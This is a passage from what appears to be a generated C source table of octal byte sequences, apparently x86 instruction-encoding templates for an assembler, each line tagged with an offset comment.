/* 30549 */ 0260,01,041,01,0370,0110,0,
/* 30556 */ 0261,01,041,01,0371,0120,0,
/* 30563 */ 0260,01,041,01,0371,0110,0,
/* 30570 */ 0261,01,041,01,0372,0120,0,
/* 30577 */ 0260,01,041,01,0372,0110,0,
/* 30584 */ 0261,01,041,01,0373,0120,0,
/* 30591 */ 0260,01,041,01,0373,0110,0,
/* 30598 */ 0261,01,041,01,0350,0120,0,
/* 30605 */ 0260,01,041,01,0350,0110,0,
/* 30612 */ 0261,01,041,01,0351,0120,0,
/* 30619 */ 0260,01,041,01,0351,0110,0,
/* 30626 */ 0261,01,041,01,0330,0120,0,
/* 30633 */ 0260,01,041,01,0330,0110,0,
/* 30640 */ 0261,01,041,01,0331,0120,0,
/* 30647 */ 0260,01,041,01,0331,0110,0,
/* 30654 */ 0261,01,041,01,0150,0120,0,
/* 30661 */ 0260,01,041,01,0150,0110,0,
/* 30668 */ 0261,01,041,01,0151,0120,0,
/* 30675 */ 0260,01,041,01,0151,0110,0,
/* 30682 */ 0261,01,041,01,0152,0120,0,
/* 30689 */ 0260,01,041,01,0152,0110,0,
/* 30696 */ 0261,01,041,01,0155,0120,0,
/* 30703 */ 0260,01,041,01,0155,0110,0,
/* 30710 */ 0261,01,041,01,0140,0120,0,
/* 30717 */ 0260,01,041,01,0140,0110,0,
/* 30724 */ 0261,01,041,01,0141,0120,0,
/* 30731 */ 0260,01,041,01,0141,0110,0,
/* 30738 */ 0261,01,041,01,0142,0120,0,
/* 30745 */ 0260,01,041,01,0142,0110,0,
/* 30752 */ 0261,01,041,01,0154,0120,0,
/* 30759 */ 0260,01,041,01,0154,0110,0,
/* 30766 */ 0261,01,041,01,0357,0120,0,
/* 30773 */ 0260,01,041,01,0357,0110,0,
/* 30780 */ 0270,01,040,01,0123,0110,0,
/* 30787 */ 0270,01,044,01,0123,0110,0,
/* 30794 */ 0261,01,052,01,0123,0120,0,
/* 30801 */ 0260,01,052,01,0123,0110,0,
/* 30808 */ 0270,01,040,01,0122,0110,0,
/* 30815 */ 0270,01,044,01,0122,0110,0,
/* 30822 */ 0261,01,052,01,0122,0120,0,
/* 30829 */ 0260,01,052,01,0122,0110,0,
/* 30836 */ 0270,01,041,01,0121,0110,0,
/* 30843 */ 0270,01,045,01,0121,0110,0,
/* 30850 */ 0270,01,040,01,0121,0110,0,
/* 30857 */ 0270,01,044,01,0121,0110,0,
/* 30864 */ 0261,01,053,01,0121,0120,0,
/* 30871 */ 0260,01,053,01,0121,0110,0,
/* 30878 */ 0261,01,052,01,0121,0120,0,
/* 30885 */ 0260,01,052,01,0121,0110,0,
/* 30892 */ 0270,01,040,01,0256,0203,0,
/* 30899 */ 0261,01,041,01,0134,0120,0,
/* 30906 */ 0260,01,041,01,0134,0110,0,
/* 30913 */ 0261,01,045,01,0134,0120,0,
/* 30920 */ 0260,01,045,01,0134,0110,0,
/* 30927 */ 0261,01,040,01,0134,0120,0,
/* 30934 */ 0260,01,040,01,0134,0110,0,
/* 30941 */ 0261,01,044,01,0134,0120,0,
/* 30948 */ 0260,01,044,01,0134,0110,0,
/* 30955 */ 0261,01,053,01,0134,0120,0,
/* 30962 */ 0260,01,053,01,0134,0110,0,
/* 30969 */ 0261,01,052,01,0134,0120,0,
/* 30976 */ 0260,01,052,01,0134,0110,0,
/* 30983 */ 0270,02,01,01,016,0110,0,
/* 30990 */ 0270,02,05,01,016,0110,0,
/* 30997 */ 0270,02,01,01,017,0110,0,
/* 31004 */ 0270,02,05,01,017,0110,0,
/* 31011 */ 0270,01,051,01,056,0110,0,
/* 31018 */ 0270,01,050,01,056,0110,0,
/* 31025 */ 0261,01,041,01,025,0120,0,
/* 31032 */ 0260,01,041,01,025,0110,0,
/* 31039 */ 0261,01,045,01,025,0120,0,
/* 31046 */ 0260,01,045,01,025,0110,0,
/* 31053 */ 0261,01,040,01,025,0120,0,
/* 31060 */ 0260,01,040,01,025,0110,0,
/* 31067 */ 0261,01,044,01,025,0120,0,
/* 31074 */ 0260,01,044,01,025,0110,0,
/* 31081 */ 0261,01,041,01,024,0120,0,
/* 31088 */ 0260,01,041,01,024,0110,0,
/* 31095 */ 0261,01,045,01,024,0120,0,
/* 31102 */ 0260,01,045,01,024,0110,0,
/* 31109 */ 0261,01,040,01,024,0120,0,
/* 31116 */ 0260,01,040,01,024,0110,0,
/* 31123 */ 0261,01,044,01,024,0120,0,
/* 31130 */ 0260,01,044,01,024,0110,0,
/* 31137 */ 0261,01,041,01,0127,0120,0,
/* 31144 */ 0260,01,041,01,0127,0110,0,
/* 31151 */ 0261,01,045,01,0127,0120,0,
/* 31158 */ 0260,01,045,01,0127,0110,0,
/* 31165 */ 0261,01,040,01,0127,0120,0,
/* 31172 */ 0260,01,040,01,0127,0110,0,
/* 31179 */ 0261,01,044,01,0127,0120,0,
/* 31186 */ 0260,01,044,01,0127,0110,0,
/* 31193 */ 0261,02,01,01,0230,0120,0,
/* 31200 */ 0261,02,05,01,0230,0120,0,
/* 31207 */ 0261,02,021,01,0230,0120,0,
/* 31214 */ 0261,02,025,01,0230,0120,0,
/* 31221 */ 0261,02,01,01,0250,0120,0,
/* 31228 */ 0261,02,05,01,0250,0120,0,
/* 31235 */ 0261,02,021,01,0250,0120,0,
/* 31242 */ 0261,02,025,01,0250,0120,0,
/* 31249 */ 0261,02,01,01,0270,0120,0,
/* 31256 */ 0261,02,05,01,0270,0120,0,
/* 31263 */ 0261,02,021,01,0270,0120,0,
/* 31270 */ 0261,02,025,01,0270,0120,0,
/* 31277 */ 0261,02,01,01,0226,0120,0,
/* 31284 */ 0261,02,05,01,0226,0120,0,
/* 31291 */ 0261,02,021,01,0226,0120,0,
/* 31298 */ 0261,02,025,01,0226,0120,0,
/* 31305 */ 0261,02,01,01,0246,0120,0,
/* 31312 */ 0261,02,05,01,0246,0120,0,
/* 31319 */ 0261,02,021,01,0246,0120,0,
/* 31326 */ 0261,02,025,01,0246,0120,0,
/* 31333 */ 0261,02,01,01,0266,0120,0,
/* 31340 */ 0261,02,05,01,0266,0120,0,
/* 31347 */ 0261,02,021,01,0266,0120,0,
/* 31354 */ 0261,02,025,01,0266,0120,0,
/* 31361 */ 0261,02,01,01,0232,0120,0,
/* 31368 */ 0261,02,05,01,0232,0120,0,
/* 31375 */ 0261,02,021,01,0232,0120,0,
/* 31382 */ 0261,02,025,01,0232,0120,0,
/* 31389 */ 0261,02,01,01,0252,0120,0,
/* 31396 */ 0261,02,05,01,0252,0120,0,
/* 31403 */ 0261,02,021,01,0252,0120,0,
/* 31410 */ 0261,02,025,01,0252,0120,0,
/* 31417 */ 0261,02,01,01,0272,0120,0,
/* 31424 */ 0261,02,05,01,0272,0120,0,
/* 31431 */ 0261,02,021,01,0272,0120,0,
/* 31438 */ 0261,02,025,01,0272,0120,0,
/* 31445 */ 0261,02,01,01,0227,0120,0,
/* 31452 */ 0261,02,05,01,0227,0120,0,
/* 31459 */ 0261,02,021,01,0227,0120,0,
/* 31466 */ 0261,02,025,01,0227,0120,0,
/* 31473 */ 0261,02,01,01,0247,0120,0,
/* 31480 */ 0261,02,05,01,0247,0120,0,
/* 31487 */ 0261,02,021,01,0247,0120,0,
/* 31494 */ 0261,02,025,01,0247,0120,0,
/* 31501 */ 0261,02,01,01,0267,0120,0,
/* 31508 */ 0261,02,05,01,0267,0120,0,
/* 31515 */ 0261,02,021,01,0267,0120,0,
/* 31522 */ 0261,02,025,01,0267,0120,0,
/* 31529 */ 0261,02,01,01,0234,0120,0,
/* 31536 */ 0261,02,05,01,0234,0120,0,
/* 31543 */ 0261,02,021,01,0234,0120,0,
/* 31550 */ 0261,02,025,01,0234,0120,0,
/* 31557 */ 0261,02,01,01,0254,0120,0,
/* 31564 */ 0261,02,05,01,0254,0120,0,
/* 31571 */ 0261,02,021,01,0254,0120,0,
/* 31578 */ 0261,02,025,01,0254,0120,0,
/* 31585 */ 0261,02,01,01,0274,0120,0,
/* 31592 */ 0261,02,05,01,0274,0120,0,
/* 31599 */ 0261,02,021,01,0274,0120,0,
/* 31606 */ 0261,02,025,01,0274,0120,0,
/* 31613 */ 0261,02,01,01,0236,0120,0,
/* 31620 */ 0261,02,05,01,0236,0120,0,
/* 31627 */ 0261,02,021,01,0236,0120,0,
/* 31634 */ 0261,02,025,01,0236,0120,0,
/* 31641 */ 0261,02,01,01,0256,0120,0,
/* 31648 */ 0261,02,05,01,0256,0120,0,
/* 31655 */ 0261,02,021,01,0256,0120,0,
/* 31662 */ 0261,02,025,01,0256,0120,0,
/* 31669 */ 0261,02,01,01,0276,0120,0,
/* 31676 */ 0261,02,05,01,0276,0120,0,
/* 31683 */ 0261,02,021,01,0276,0120,0,
/* 31690 */ 0261,02,025,01,0276,0120,0,
/* 31697 */ 0261,02,01,01,0231,0120,0,
/* 31704 */ 0261,02,021,01,0231,0120,0,
/* 31711 */ 0261,02,01,01,0251,0120,0,
/* 31718 */ 0261,02,021,01,0251,0120,0,
/* 31725 */ 0261,02,01,01,0271,0120,0,
/* 31732 */ 0261,02,021,01,0271,0120,0,
/* 31739 */ 0261,02,01,01,0233,0120,0,
/* 31746 */ 0261,02,021,01,0233,0120,0,
/* 31753 */ 0261,02,01,01,0253,0120,0,
/* 31760 */ 0261,02,021,01,0253,0120,0,
/* 31767 */ 0261,02,01,01,0273,0120,0,
/* 31774 */ 0261,02,021,01,0273,0120,0,
/* 31781 */ 0261,02,01,01,0235,0120,0,
/* 31788 */ 0261,02,021,01,0235,0120,0,
/* 31795 */ 0261,02,01,01,0255,0120,0,
/* 31802 */ 0261,02,021,01,0255,0120,0,
/* 31809 */ 0261,02,01,01,0275,0120,0,
/* 31816 */ 0261,02,021,01,0275,0120,0,
/* 31823 */ 0261,02,01,01,0237,0120,0,
/* 31830 */ 0261,02,021,01,0237,0120,0,
/* 31837 */ 0261,02,01,01,0257,0120,0,
/* 31844 */ 0261,02,021,01,0257,0120,0,
/* 31851 */ 0261,02,01,01,0277,0120,0,
/* 31858 */ 0261,02,021,01,0277,0120,0,
/* 31865 */ 0317,0333,02,017,0256,0200,0,
/* 31872 */ 0324,0333,02,017,0256,0200,0,
/* 31879 */ 0317,0333,02,017,0256,0201,0,
/* 31886 */ 0324,0333,02,017,0256,0201,0,
/* 31893 */ 0317,0333,02,017,0256,0202,0,
/* 31900 */ 0324,0333,02,017,0256,0202,0,
/* 31907 */ 0317,0333,02,017,0256,0203,0,
/* 31914 */ 0324,0333,02,017,0256,0203,0,
/* 31921 */ 0270,02,05,01,023,0110,0,
/* 31928 */ 0270,02,01,01,023,0110,0,
/* 31935 */ 0270,0111,0,01,022,0200,0,
/* 31942 */ 0270,0111,020,01,022,0200,0,
/* 31949 */ 0270,0111,0,01,022,0201,0,
/* 31956 */ 0270,0111,020,01,022,0201,0,
/* 31963 */ 0270,0111,0,01,0201,0110,0,
/* 31970 */ 0270,0111,0,01,0201,0100,0,
/* 31977 */ 0270,0111,04,01,0201,0110,0,
/* 31984 */ 0270,0111,04,01,0201,0100,0,
/* 31991 */ 0270,0111,0,01,0200,0110,0,
/* 31998 */ 0270,0111,0,01,0200,0100,0,
/* 32005 */ 0270,0111,04,01,0200,0110,0,
/* 32012 */ 0270,0111,04,01,0200,0100,0,
/* 32019 */ 0270,0111,0,01,0203,0110,0,
/* 32026 */ 0270,0111,0,01,0203,0100,0,
/* 32033 */ 0270,0111,0,01,0202,0110,0,
/* 32040 */ 0270,0111,0,01,0202,0100,0,
/* 32047 */ 0270,0111,0,01,0302,0110,0,
/* 32054 */ 0270,0111,0,01,0302,0100,0,
/* 32061 */ 0270,0111,0,01,0303,0110,0,
/* 32068 */ 0270,0111,0,01,0303,0100,0,
/* 32075 */ 0270,0111,0,01,0301,0110,0,
/* 32082 */ 0270,0111,0,01,0301,0100,0,
/* 32089 */ 0270,0111,0,01,0313,0110,0,
/* 32096 */ 0270,0111,0,01,0313,0100,0,
/* 32103 */ 0270,0111,0,01,0322,0110,0,
/* 32110 */ 0270,0111,0,01,0322,0100,0,
/* 32117 */ 0270,0111,0,01,0323,0110,0,
/* 32124 */ 0270,0111,0,01,0323,0100,0,
/* 32131 */ 0270,0111,0,01,0321,0110,0,
/* 32138 */ 0270,0111,0,01,0321,0100,0,
/* 32145 */ 0270,0111,0,01,0333,0110,0,
/* 32152 */ 0270,0111,0,01,0333,0100,0,
/* 32159 */ 0270,0111,0,01,0326,0110,0,
/* 32166 */ 0270,0111,0,01,0326,0100,0,
/* 32173 */ 0270,0111,0,01,0327,0110,0,
/* 32180 */ 0270,0111,0,01,0327,0100,0,
/* 32187 */ 0270,0111,0,01,0306,0110,0,
/* 32194 */ 0270,0111,0,01,0306,0100,0,
/* 32201 */ 0270,0111,0,01,0307,0110,0,
/* 32208 */ 0270,0111,0,01,0307,0100,0,
/* 32215 */ 0270,0111,0,01,0341,0110,0,
/* 32222 */ 0270,0111,0,01,0341,0100,0,
/* 32229 */ 0270,0111,0,01,0343,0110,0,
/* 32236 */ 0270,0111,0,01,0343,0100,0,
/* 32243 */ 0270,0111,0,01,0342,0110,0,
/* 32250 */ 0270,0111,0,01,0342,0100,0,
/* 32257 */ 0262,0111,0,01,0220,0110,0,
/* 32264 */ 0261,0111,0,01,0220,0100,0,
/* 32271 */ 0261,0111,020,01,0220,0120,0,
/* 32278 */ 0260,0111,020,01,0220,0110,0,
/* 32285 */ 0262,0111,0,01,0222,0110,0,
/* 32292 */ 0261,0111,0,01,0222,0100,0,
/* 32299 */ 0261,0111,020,01,0222,0120,0,
/* 32306 */ 0260,0111,020,01,0222,0110,0,
/* 32313 */ 0262,0111,0,01,0223,0110,0,
/* 32320 */ 0261,0111,0,01,0223,0100,0,
/* 32327 */ 0261,0111,020,01,0223,0120,0,
/* 32334 */ 0260,0111,020,01,0223,0110,0,
/* 32341 */ 0262,0111,0,01,0221,0110,0,
/* 32348 */ 0261,0111,0,01,0221,0100,0,
/* 32355 */ 0261,0111,020,01,0221,0120,0,
/* 32362 */ 0260,0111,020,01,0221,0110,0,
/* 32369 */ 0262,0111,0,01,0230,0110,0,
/* 32376 */ 0261,0111,0,01,0230,0100,0,
/* 32383 */ 0261,0111,020,01,0230,0120,0,
/* 32390 */ 0260,0111,020,01,0230,0110,0,
/* 32397 */ 0262,0111,0,01,0232,0110,0,
/* 32404 */ 0261,0111,0,01,0232,0100,0,
/* 32411 */ 0261,0111,020,01,0232,0120,0,
/* 32418 */ 0260,0111,020,01,0232,0110,0,
/* 32425 */ 0262,0111,0,01,0233,0110,0,
/* 32432 */ 0261,0111,0,01,0233,0100,0,
/* 32439 */ 0261,0111,020,01,0233,0120,0,
/* 32446 */ 0260,0111,020,01,0233,0110,0,
/* 32453 */ 0262,0111,0,01,0231,0110,0,
/* 32460 */ 0261,0111,0,01,0231,0100,0,
/* 32467 */ 0261,0111,020,01,0231,0120,0,
/* 32474 */ 0260,0111,020,01,0231,0110,0,
/* 32481 */ 0262,0111,0,01,0224,0110,0,
/* 32488 */ 0261,0111,0,01,0224,0100,0,
/* 32495 */ 0261,0111,020,01,0224,0120,0,
/* 32502 */ 0260,0111,020,01,0224,0110,0,
/* 32509 */ 0262,0111,0,01,0226,0110,0,
/* 32516 */ 0261,0111,0,01,0226,0100,0,
/* 32523 */ 0261,0111,020,01,0226,0120,0,
/* 32530 */ 0260,0111,020,01,0226,0110,0,
/* 32537 */ 0262,0111,0,01,0227,0110,0,
/* 32544 */ 0261,0111,0,01,0227,0100,0,
/* 32551 */ 0261,0111,020,01,0227,0120,0,
/* 32558 */ 0260,0111,020,01,0227,0110,0,
/* 32565 */ 0262,0111,0,01,0225,0110,0,
/* 32572 */ 0261,0111,0,01,0225,0100,0,
/* 32579 */ 0261,0111,020,01,0225,0120,0,
/* 32586 */ 0260,0111,020,01,0225,0110,0,
/* 32593 */ 0270,02,045,01,034,0110,0,
/* 32600 */ 0270,02,045,01,035,0110,0,
/* 32607 */ 0270,02,045,01,036,0110,0,
/* 32614 */ 0261,01,045,01,0143,0120,0,
/* 32621 */ 0260,01,045,01,0143,0110,0,
/* 32628 */ 0261,01,045,01,0153,0120,0,
/* 32635 */ 0260,01,045,01,0153,0110,0,
/* 32642 */ 0261,02,045,01,053,0120,0,
/* 32649 */ 0260,02,045,01,053,0110,0,
/* 32656 */ 0261,01,045,01,0147,0120,0,
/* 32663 */ 0260,01,045,01,0147,0110,0,
/* 32670 */ 0261,01,045,01,0374,0120,0,
/* 32677 */ 0260,01,045,01,0374,0110,0,
/* 32684 */ 0261,01,045,01,0375,0120,0,
/* 32691 */ 0260,01,045,01,0375,0110,0,
/* 32698 */ 0261,01,045,01,0376,0120,0,
/* 32705 */ 0260,01,045,01,0376,0110,0,
/* 32712 */ 0261,01,045,01,0324,0120,0,
/* 32719 */ 0260,01,045,01,0324,0110,0,
/* 32726 */ 0261,01,045,01,0354,0120,0,
/* 32733 */ 0260,01,045,01,0354,0110,0,
/* 32740 */ 0261,01,045,01,0355,0120,0,
/* 32747 */ 0260,01,045,01,0355,0110,0,
/* 32754 */ 0261,01,045,01,0334,0120,0,
/* 32761 */ 0260,01,045,01,0334,0110,0,
/* 32768 */ 0261,01,045,01,0335,0120,0,
/* 32775 */ 0260,01,045,01,0335,0110,0,
/* 32782 */ 0261,01,045,01,0333,0120,0,
/* 32789 */ 0260,01,045,01,0333,0110,0,
/* 32796 */ 0261,01,045,01,0337,0120,0,
/* 32803 */ 0260,01,045,01,0337,0110,0,
/* 32810 */ 0261,01,045,01,0340,0120,0,
/* 32817 */ 0260,01,045,01,0340,0110,0,
/* 32824 */ 0261,01,045,01,0343,0120,0,
/* 32831 */ 0260,01,045,01,0343,0110,0,
/* 32838 */ 0261,01,045,01,0164,0120,0,
/* 32845 */ 0260,01,045,01,0164,0110,0,
/* 32852 */ 0261,01,045,01,0165,0120,0,
/* 32859 */ 0260,01,045,01,0165,0110,0,
/* 32866 */ 0261,01,045,01,0166,0120,0,
/* 32873 */ 0260,01,045,01,0166,0110,0,
/* 32880 */ 0261,02,045,01,051,0120,0,
/* 32887 */ 0260,02,045,01,051,0110,0,
/* 32894 */ 0261,01,045,01,0144,0120,0,
/* 32901 */ 0260,01,045,01,0144,0110,0,
/* 32908 */ 0261,01,045,01,0145,0120,0,
/* 32915 */ 0260,01,045,01,0145,0110,0,
/* 32922 */ 0261,01,045,01,0146,0120,0,
/* 32929 */ 0260,01,045,01,0146,0110,0,
/* 32936 */ 0261,02,045,01,067,0120,0,
/* 32943 */ 0260,02,045,01,067,0110,0,
/* 32950 */ 0261,02,045,01,01,0120,0,
/* 32957 */ 0260,02,045,01,01,0110,0,
/* 32964 */ 0261,02,045,01,02,0120,0,
/* 32971 */ 0260,02,045,01,02,0110,0,
/* 32978 */ 0261,02,045,01,03,0120,0,
/* 32985 */ 0260,02,045,01,03,0110,0,
/* 32992 */ 0261,02,045,01,05,0120,0,
/* 32999 */ 0260,02,045,01,05,0110,0,
/* 33006 */ 0261,02,045,01,06,0120,0,
/* 33013 */ 0260,02,045,01,06,0110,0,
/* 33020 */ 0261,02,045,01,07,0120,0,
/* 33027 */ 0260,02,045,01,07,0110,0,
/* 33034 */ 0261,02,045,01,04,0120,0,
/* 33041 */ 0260,02,045,01,04,0110,0,
/* 33048 */ 0261,01,045,01,0365,0120,0,
/* 33055 */ 0260,01,045,01,0365,0110,0,
/* 33062 */ 0261,02,045,01,074,0120,0,
/* 33069 */ 0260,02,045,01,074,0110,0,
/* 33076 */ 0261,01,045,01,0356,0120,0,
/* 33083 */ 0260,01,045,01,0356,0110,0,
/* 33090 */ 0261,02,045,01,075,0120,0,
/* 33097 */ 0260,02,045,01,075,0110,0,
/* 33104 */ 0261,01,045,01,0336,0120,0,
/* 33111 */ 0260,01,045,01,0336,0110,0,
/* 33118 */ 0261,02,045,01,076,0120,0,
/* 33125 */ 0260,02,045,01,076,0110,0,
/* 33132 */ 0261,02,045,01,077,0120,0,
/* 33139 */ 0260,02,045,01,077,0110,0,
/* 33146 */ 0261,02,045,01,070,0120,0,
/* 33153 */ 0260,02,045,01,070,0110,0,
/* 33160 */ 0261,01,045,01,0352,0120,0,
/* 33167 */ 0260,01,045,01,0352,0110,0,
/* 33174 */ 0261,02,045,01,071,0120,0,
/* 33181 */ 0260,02,045,01,071,0110,0,
/* 33188 */ 0261,01,045,01,0332,0120,0,
/* 33195 */ 0260,01,045,01,0332,0110,0,
/* 33202 */ 0261,02,045,01,072,0120,0,
/* 33209 */ 0260,02,045,01,072,0110,0,
/* 33216 */ 0261,02,045,01,073,0120,0,
/* 33223 */ 0260,02,045,01,073,0110,0,
/* 33230 */ 0270,01,045,01,0327,0110,0,
/* 33237 */ 0270,02,045,01,040,0110,0,
/* 33244 */ 0270,02,045,01,041,0110,0,
/* 33251 */ 0270,02,045,01,042,0110,0,
/* 33258 */ 0270,02,045,01,043,0110,0,
/* 33265 */ 0270,02,045,01,044,0110,0,
/* 33272 */ 0270,02,045,01,045,0110,0,
/* 33279 */ 0270,02,045,01,060,0110,0,
/* 33286 */ 0270,02,045,01,061,0110,0,
/* 33293 */ 0270,02,045,01,062,0110,0,
/* 33300 */ 0270,02,045,01,063,0110,0,
/* 33307 */ 0270,02,045,01,064,0110,0,
/* 33314 */ 0270,02,045,01,065,0110,0,
/* 33321 */ 0261,02,045,01,050,0120,0,
/* 33328 */ 0260,02,045,01,050,0110,0,
/* 33335 */ 0261,02,045,01,013,0120,0,
/* 33342 */ 0260,02,045,01,013,0110,0,
/* 33349 */ 0261,01,045,01,0344,0120,0,
/* 33356 */ 0260,01,045,01,0344,0110,0,
/* 33363 */ 0261,01,045,01,0345,0120,0,
/* 33370 */ 0260,01,045,01,0345,0110,0,
/* 33377 */ 0261,01,045,01,0325,0120,0,
/* 33384 */ 0260,01,045,01,0325,0110,0,
/* 33391 */ 0261,02,045,01,0100,0120,0,
/* 33398 */ 0260,02,045,01,0100,0110,0,
/* 33405 */ 0261,01,045,01,0364,0120,0,
/* 33412 */ 0260,01,045,01,0364,0110,0,
/* 33419 */ 0261,01,045,01,0353,0120,0,
/* 33426 */ 0260,01,045,01,0353,0110,0,
/* 33433 */ 0261,01,045,01,0366,0120,0,
/* 33440 */ 0260,01,045,01,0366,0110,0,
/* 33447 */ 0261,02,045,01,0,0120,0,
/* 33454 */ 0260,02,045,01,0,0110,0,
/* 33461 */ 0261,02,045,01,010,0120,0,
/* 33468 */ 0260,02,045,01,010,0110,0,
/* 33475 */ 0261,02,045,01,011,0120,0,
/* 33482 */ 0260,02,045,01,011,0110,0,
/* 33489 */ 0261,02,045,01,012,0120,0,
/* 33496 */ 0260,02,045,01,012,0110,0,
/* 33503 */ 0261,01,045,01,0361,0120,0,
/* 33510 */ 0260,01,045,01,0361,0110,0,
/* 33517 */ 0261,01,045,01,0362,0120,0,
/* 33524 */ 0260,01,045,01,0362,0110,0,
/* 33531 */ 0261,01,045,01,0363,0120,0,
/* 33538 */ 0260,01,045,01,0363,0110,0,
/* 33545 */ 0261,01,045,01,0341,0120,0,
/* 33552 */ 0260,01,045,01,0341,0110,0,
/* 33559 */ 0261,01,045,01,0342,0120,0,
/* 33566 */ 0260,01,045,01,0342,0110,0,
/* 33573 */ 0261,01,045,01,0321,0120,0,
/* 33580 */ 0260,01,045,01,0321,0110,0,
/* 33587 */ 0261,01,045,01,0322,0120,0,
/* 33594 */ 0260,01,045,01,0322,0110,0,
/* 33601 */ 0261,01,045,01,0323,0120,0,
/* 33608 */ 0260,01,045,01,0323,0110,0,
/* 33615 */ 0261,01,045,01,0370,0120,0,
/* 33622 */ 0260,01,045,01,0370,0110,0,
/* 33629 */ 0261,01,045,01,0371,0120,0,
/* 33636 */ 0260,01,045,01,0371,0110,0,
/* 33643 */ 0261,01,045,01,0372,0120,0,
/* 33650 */ 0260,01,045,01,0372,0110,0,
/* 33657 */ 0261,01,045,01,0373,0120,0,
/* 33664 */ 0260,01,045,01,0373,0110,0,
/* 33671 */ 0261,01,045,01,0350,0120,0,
/* 33678 */ 0260,01,045,01,0350,0110,0,
/* 33685 */ 0261,01,045,01,0351,0120,0,
/* 33692 */ 0260,01,045,01,0351,0110,0,
/* 33699 */ 0261,01,045,01,0330,0120,0,
/* 33706 */ 0260,01,045,01,0330,0110,0,
/* 33713 */ 0261,01,045,01,0331,0120,0,
/* 33720 */ 0260,01,045,01,0331,0110,0,
/* 33727 */ 0261,01,045,01,0150,0120,0,
/* 33734 */ 0260,01,045,01,0150,0110,0,
/* 33741 */ 0261,01,045,01,0151,0120,0,
/* 33748 */ 0260,01,045,01,0151,0110,0,
/* 33755 */ 0261,01,045,01,0152,0120,0,
/* 33762 */ 0260,01,045,01,0152,0110,0,
/* 33769 */ 0261,01,045,01,0155,0120,0,
/* 33776 */ 0260,01,045,01,0155,0110,0,
/* 33783 */ 0261,01,045,01,0140,0120,0,
/* 33790 */ 0260,01,045,01,0140,0110,0,
/* 33797 */ 0261,01,045,01,0141,0120,0,
/* 33804 */ 0260,01,045,01,0141,0110,0,
/* 33811 */ 0261,01,045,01,0142,0120,0,
/* 33818 */ 0260,01,045,01,0142,0110,0,
/* 33825 */ 0261,01,045,01,0154,0120,0,
/* 33832 */ 0260,01,045,01,0154,0110,0,
/* 33839 */ 0261,01,045,01,0357,0120,0,
/* 33846 */ 0260,01,045,01,0357,0110,0,
/* 33853 */ 0270,02,045,01,052,0110,0,
/* 33860 */ 0270,02,05,01,0132,0110,0,
/* 33867 */ 0270,02,01,01,0170,0110,0,
/* 33874 */ 0270,02,05,01,0170,0110,0,
/* 33881 */ 0270,02,01,01,0171,0110,0,
/* 33888 */ 0270,02,05,01,0171,0110,0,
/* 33895 */ 0270,02,01,01,0130,0110,0,
/* 33902 */ 0270,02,05,01,0130,0110,0,
/* 33909 */ 0270,02,01,01,0131,0110,0,
/* 33916 */ 0270,02,05,01,0131,0110,0,
/* 33923 */ 0261,02,05,01,066,0120,0,
/* 33930 */ 0260,02,05,01,066,0110,0,
/* 33937 */ 0261,02,05,01,026,0120,0,
/* 33944 */ 0260,02,05,01,026,0110,0,
/* 33951 */ 0261,02,01,01,0214,0120,0,
/* 33958 */ 0260,02,01,01,0214,0110,0,
/* 33965 */ 0261,02,05,01,0214,0120,0,
/* 33972 */ 0260,02,05,01,0214,0110,0,
/* 33979 */ 0261,02,021,01,0214,0120,0,
/* 33986 */ 0260,02,021,01,0214,0110,0,
/* 33993 */ 0261,02,025,01,0214,0120,0,
/* 34000 */ 0260,02,025,01,0214,0110,0,
/* 34007 */ 0261,02,01,01,0216,0102,0,
/* 34014 */ 0260,02,01,01,0216,0101,0,
/* 34021 */ 0261,02,05,01,0216,0102,0,
/* 34028 */ 0260,02,05,01,0216,0101,0,
/* 34035 */ 0261,02,021,01,0216,0102,0,
/* 34042 */ 0260,02,021,01,0216,0101,0,
/* 34049 */ 0261,02,025,01,0216,0102,0,
/* 34056 */ 0260,02,025,01,0216,0101,0,
/* 34063 */ 0261,02,01,01,0107,0120,0,
/* 34070 */ 0260,02,01,01,0107,0110,0,
/* 34077 */ 0261,02,021,01,0107,0120,0,
/* 34084 */ 0260,02,021,01,0107,0110,0,
/* 34091 */ 0261,02,05,01,0107,0120,0,
/* 34098 */ 0260,02,05,01,0107,0110,0,
/* 34105 */ 0261,02,025,01,0107,0120,0,
/* 34112 */ 0260,02,025,01,0107,0110,0,
/* 34119 */ 0261,02,01,01,0106,0120,0,
/* 34126 */ 0260,02,01,01,0106,0110,0,
/* 34133 */ 0261,02,05,01,0106,0120,0,
/* 34140 */ 0260,02,05,01,0106,0110,0,
/* 34147 */ 0261,02,01,01,0105,0120,0,
/* 34154 */ 0260,02,01,01,0105,0110,0,
/* 34161 */ 0261,02,021,01,0105,0120,0,
/* 34168 */ 0260,02,021,01,0105,0110,0,
/* 34175 */ 0261,02,05,01,0105,0120,0,
/* 34182 */ 0260,02,05,01,0105,0110,0,
/* 34189 */ 0261,02,025,01,0105,0120,0,
/* 34196 */ 0260,02,025,01,0105,0110,0,
/* 34203 */ 0261,02,0,01,0362,0120,0,
/* 34210 */ 0261,02,020,01,0362,0120,0,
/* 34217 */ 0262,02,0,01,0367,0110,0,
/* 34224 */ 0262,02,020,01,0367,0110,0,
/* 34231 */ 0260,0111,0,01,02,0216,0,
/* 34238 */ 0260,0111,020,01,02,0216,0,
/* 34245 */ 0260,0111,0,01,01,0215,0,
/* 34252 */ 0260,0111,020,01,01,0215,0,
/* 34259 */ 0260,02,0,01,0363,0213,0,
/* 34266 */ 0260,02,020,01,0363,0213,0,
/* 34273 */ 0260,0111,0,01,01,0216,0,
/* 34280 */ 0260,0111,020,01,01,0216,0,
/* 34287 */ 0260,0111,0,01,01,0211,0,
/* 34294 */ 0260,0111,020,01,01,0211,0,
/* 34301 */ 0260,0111,0,01,01,0212,0,
/* 34308 */ 0260,0111,020,01,01,0212,0,
/* 34315 */ 0260,0111,0,01,02,0211,0,
/* 34322 */ 0260,0111,020,01,02,0211,0,
/* 34329 */ 0260,02,0,01,0363,0212,0,
/* 34336 */ 0260,02,020,01,0363,0212,0,
/* 34343 */ 0260,02,0,01,0363,0211,0,
/* 34350 */ 0260,02,020,01,0363,0211,0,
/* 34357 */ 0260,0111,0,01,01,0213,0,
/* 34364 */ 0260,0111,020,01,01,0213,0,
/* 34371 */ 0262,02,0,01,0365,0110,0,
/* 34378 */ 0262,02,020,01,0365,0110,0,
/* 34385 */ 0261,02,03,01,0366,0120,0,
/* 34392 */ 0261,02,023,01,0366,0120,0,
/* 34399 */ 0261,02,03,01,0365,0120,0,
/* 34406 */ 0261,02,023,01,0365,0120,0,
/* 34413 */ 0261,02,02,01,0365,0120,0,
/* 34420 */ 0261,02,022,01,0365,0120,0,
/* 34427 */ 0262,02,02,01,0367,0110,0,
